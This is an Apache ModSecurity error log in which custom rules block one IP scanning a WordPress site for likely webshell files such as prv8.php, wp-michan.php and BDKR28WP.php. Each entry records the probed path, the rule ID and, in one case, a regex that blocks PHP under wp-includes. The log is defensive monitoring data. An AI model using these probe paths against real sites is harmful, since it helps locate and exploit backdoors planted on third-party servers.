[Sat Apr 18 05:36:04.265124 2026] [:error] [pid 9970:tid 9978] [client 4.235.105.111:41922] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aeKnxCYdRLRhVmaIMx24xwAAAMQ"]
[Sat Apr 18 05:36:04.915742 2026] [:error] [pid 9970:tid 9984] [client 4.235.105.111:31898] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aeKnxCYdRLRhVmaIMx24zAAAAMo"]
[Sat Apr 18 05:36:05.977300 2026] [:error] [pid 9970:tid 9996] [client 4.235.105.111:3098] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aeKnxSYdRLRhVmaIMx240wAAANY"]
[Sat Apr 18 05:36:07.902719 2026] [:error] [pid 9970:tid 9995] [client 4.235.105.111:28002] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aeKnxyYdRLRhVmaIMx244QAAANU"]
[Sat Apr 18 05:36:09.100467 2026] [:error] [pid 9865:tid 9960] [client 4.235.105.111:31469] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aeKnyazb5knECIY-C-ieIgAAAJc"]
[Sat Apr 18 05:36:10.153623 2026] [:error] [pid 9864:tid 9926] [client 4.235.105.111:41969] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aeKnyoCFeowknfXHM7ktaQAAAFQ"]
[Sat Apr 18 05:36:11.280898 2026] [:error] [pid 9970:tid 9997] [client 4.235.105.111:3082] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aeKnyyYdRLRhVmaIMx246QAAANc"]
[Sat Apr 18 05:36:12.455322 2026] [:error] [pid 9970:tid 9974] [client 4.235.105.111:31924] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aeKnzCYdRLRhVmaIMx248AAAAMA"]
[Sat Apr 18 05:36:13.525037 2026] [:error] [pid 9865:tid 9946] [client 4.235.105.111:35965] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aeKnzazb5knECIY-C-ieJwAAAIk"]
[Sat Apr 18 05:36:14.569904 2026] [:error] [pid 9864:tid 9917] [client 4.235.105.111:32861] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aeKnzoCFeowknfXHM7ktcwAAAEs"]
[Sat Apr 18 05:36:15.251961 2026] [:error] [pid 9864:tid 9926] [client 4.235.105.111:31887] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aeKnz4CFeowknfXHM7ktdgAAAFQ"]
[Sat Apr 18 05:36:15.862340 2026] [:error] [pid 9863:tid 9883] [client 4.235.105.111:24038] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "aeKnzzjjiypiFrTucbIGMQAAAAo"]
[Sat Apr 18 05:36:16.559987 2026] [:error] [pid 9863:tid 9895] [client 4.235.105.111:36969] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aeKn0DjjiypiFrTucbIGMwAAABY"]
[Sat Apr 18 05:36:17.399562 2026] [:error] [pid 9970:tid 9978] [client 4.235.105.111:35938] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aeKn0SYdRLRhVmaIMx24_AAAAMQ"]
[Sat Apr 18 05:36:18.160515 2026] [:error] [pid 9970:tid 9979] [client 4.235.105.111:3083] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aeKn0iYdRLRhVmaIMx25AQAAAMU"]
[Sat Apr 18 05:36:19.069884 2026] [:error] [pid 9970:tid 9978] [client 4.235.105.111:3129] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aeKn0yYdRLRhVmaIMx25BwAAAMQ"]
[Sat Apr 18 05:36:20.651391 2026] [:error] [pid 9970:tid 9981] [client 4.235.105.111:31445] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeKn1CYdRLRhVmaIMx25EAAAAMc"]
[Sat Apr 18 05:36:21.665742 2026] [:error] [pid 9865:tid 9937] [client 4.235.105.111:32881] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeKn1azb5knECIY-C-ieMgAAAIA"]
[Sat Apr 18 05:36:22.424758 2026] [:error] [pid 9970:tid 9992] [client 4.235.105.111:28370] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeKn1iYdRLRhVmaIMx25FgAAANI"]
[Sat Apr 18 05:36:23.079880 2026] [:error] [pid 9970:tid 9989] [client 4.235.105.111:26476] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeKn1yYdRLRhVmaIMx25GQAAAM8"]
[Sat Apr 18 05:36:24.129222 2026] [:error] [pid 9865:tid 9949] [client 4.235.105.111:31471] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeKn2Kzb5knECIY-C-ieQAAAAIw"]
[Sat Apr 18 05:36:25.461572 2026] [:error] [pid 9970:tid 9979] [client 4.235.105.111:35914] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeKn2SYdRLRhVmaIMx25IQAAAMU"]
[Sat Apr 18 05:36:26.711516 2026] [:error] [pid 9970:tid 9980] [client 4.235.105.111:36499] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeKn2iYdRLRhVmaIMx25JQAAAMY"]
[Sat Apr 18 05:36:27.276579 2026] [:error] [pid 9863:tid 9891] [client 4.235.105.111:41469] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeKn2zjjiypiFrTucbIGOgAAABI"]
[Sat Apr 18 05:36:28.627319 2026] [:error] [pid 9970:tid 9985] [client 4.235.105.111:30131] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeKn3CYdRLRhVmaIMx25KAAAAMs"]
[Sat Apr 18 05:36:29.698856 2026] [:error] [pid 9863:tid 9895] [client 4.235.105.111:36929] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeKn3TjjiypiFrTucbIGQAAAABY"]
[Sat Apr 18 05:36:30.339334 2026] [:error] [pid 9863:tid 9889] [client 4.235.105.111:31440] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeKn3jjjiypiFrTucbIGRAAAABA"]
[Sat Apr 18 05:36:30.910560 2026] [:error] [pid 9970:tid 9978] [client 4.235.105.111:36974] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeKn3iYdRLRhVmaIMx25LgAAAMQ"]
[Sat Apr 18 05:36:31.595956 2026] [:error] [pid 9864:tid 9916] [client 4.235.105.111:30109] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aeKn34CFeowknfXHM7ktmQAAAEo"]
[Sat Apr 18 05:36:32.541165 2026] [:error] [pid 9864:tid 9919] [client 4.235.105.111:39697] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aeKn4ICFeowknfXHM7ktoQAAAE0"]
[Sat Apr 18 05:36:33.592278 2026] [:error] [pid 9864:tid 9908] [client 4.235.105.111:27089] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aeKn4YCFeowknfXHM7ktpAAAAEM"]
[Sat Apr 18 05:36:34.152522 2026] [:error] [pid 9863:tid 9895] [client 4.235.105.111:35917] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aeKn4jjjiypiFrTucbIGUAAAABY"]
[Sat Apr 18 05:36:34.911801 2026] [:error] [pid 9970:tid 9974] [client 4.235.105.111:45665] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aeKn4iYdRLRhVmaIMx25OQAAAMA"]
[Sat Apr 18 05:36:35.726791 2026] [:error] [pid 9865:tid 9937] [client 4.235.105.111:41791] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aeKn46zb5knECIY-C-iefAAAAIA"]
[Sat Apr 18 05:36:42.233792 2026] [:error] [pid 9865:tid 9949] [client 4.235.105.111:32430] [client 4.235.105.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeKn6qzb5knECIY-C-ierAAAAIw"]
[Sat Apr 18 05:36:44.060321 2026] [:error] [pid 9970:tid 9987] [client 4.235.105.111:27626] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeKn7CYdRLRhVmaIMx25YgAAAM0"]
[Sat Apr 18 05:36:45.227930 2026] [:error] [pid 9970:tid 9986] [client 4.235.105.111:29306] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeKn7SYdRLRhVmaIMx25agAAAMw"]
[Sat Apr 18 05:36:46.265325 2026] [:error] [pid 9970:tid 9985] [client 4.235.105.111:37536] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeKn7iYdRLRhVmaIMx25bgAAAMs"]
[Sat Apr 18 05:36:47.175227 2026] [:error] [pid 9970:tid 9993] [client 4.235.105.111:25207] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeKn7yYdRLRhVmaIMx25cwAAANM"]
[Sat Apr 18 05:36:48.000717 2026] [:error] [pid 9970:tid 9981] [client 4.235.105.111:25206] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "aeKn7yYdRLRhVmaIMx25fAAAAMc"]
[Sat Apr 18 05:36:48.836975 2026] [:error] [pid 9970:tid 9991] [client 4.235.105.111:31085] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "aeKn8CYdRLRhVmaIMx25fwAAANE"]
[Sat Apr 18 05:36:49.471160 2026] [:error] [pid 9970:tid 9987] [client 4.235.105.111:25163] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "aeKn8SYdRLRhVmaIMx25hAAAAM0"]
[Sat Apr 18 05:36:50.046857 2026] [:error] [pid 9970:tid 9990] [client 4.235.105.111:3294] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "aeKn8iYdRLRhVmaIMx25hQAAANA"]
[Sat Apr 18 05:36:50.645867 2026] [:error] [pid 9970:tid 9983] [client 4.235.105.111:40117] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aeKn8iYdRLRhVmaIMx25iAAAAMk"]
[Sat Apr 18 05:36:51.657827 2026] [:error] [pid 9865:tid 9948] [client 4.235.105.111:3822] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aeKn86zb5knECIY-C-ie6AAAAIs"]
[Sat Apr 18 05:36:52.606646 2026] [:error] [pid 9864:tid 9921] [client 4.235.105.111:31822] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aeKn9ICFeowknfXHM7ktsQAAAE8"]
[Sat Apr 18 05:36:53.245688 2026] [:error] [pid 9864:tid 9925] [client 4.235.105.111:27364] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aeKn9YCFeowknfXHM7kttwAAAFM"]
[Sat Apr 18 05:36:53.923990 2026] [:error] [pid 9970:tid 9987] [client 4.235.105.111:27761] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aeKn9SYdRLRhVmaIMx25lAAAAM0"]
[Sat Apr 18 05:36:54.618803 2026] [:error] [pid 9864:tid 9926] [client 4.235.105.111:30282] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aeKn9oCFeowknfXHM7ktvQAAAFQ"]
[Sat Apr 18 05:36:55.294477 2026] [:error] [pid 9863:tid 9877] [client 4.235.105.111:43035] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aeKn9zjjiypiFrTucbIGgAAAAAQ"]
[Sat Apr 18 05:36:56.145304 2026] [:error] [pid 9863:tid 9897] [client 4.235.105.111:28677] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "aeKn-DjjiypiFrTucbIGgwAAABg"]
[Sat Apr 18 05:36:57.038324 2026] [:error] [pid 9865:tid 9956] [client 4.235.105.111:23629] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "aeKn-azb5knECIY-C-ie9wAAAJM"]
[Sat Apr 18 05:36:58.166316 2026] [:error] [pid 9970:tid 9977] [client 4.235.105.111:27429] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "aeKn-iYdRLRhVmaIMx25tAAAAMM"]
[Sat Apr 18 05:36:58.947707 2026] [:error] [pid 9865:tid 9942] [client 4.235.105.111:23620] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "aeKn-qzb5knECIY-C-ie_QAAAIU"]
[Sat Apr 18 05:36:59.615942 2026] [:error] [pid 9970:tid 9984] [client 4.235.105.111:3804] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "aeKn-yYdRLRhVmaIMx25vQAAAMo"]
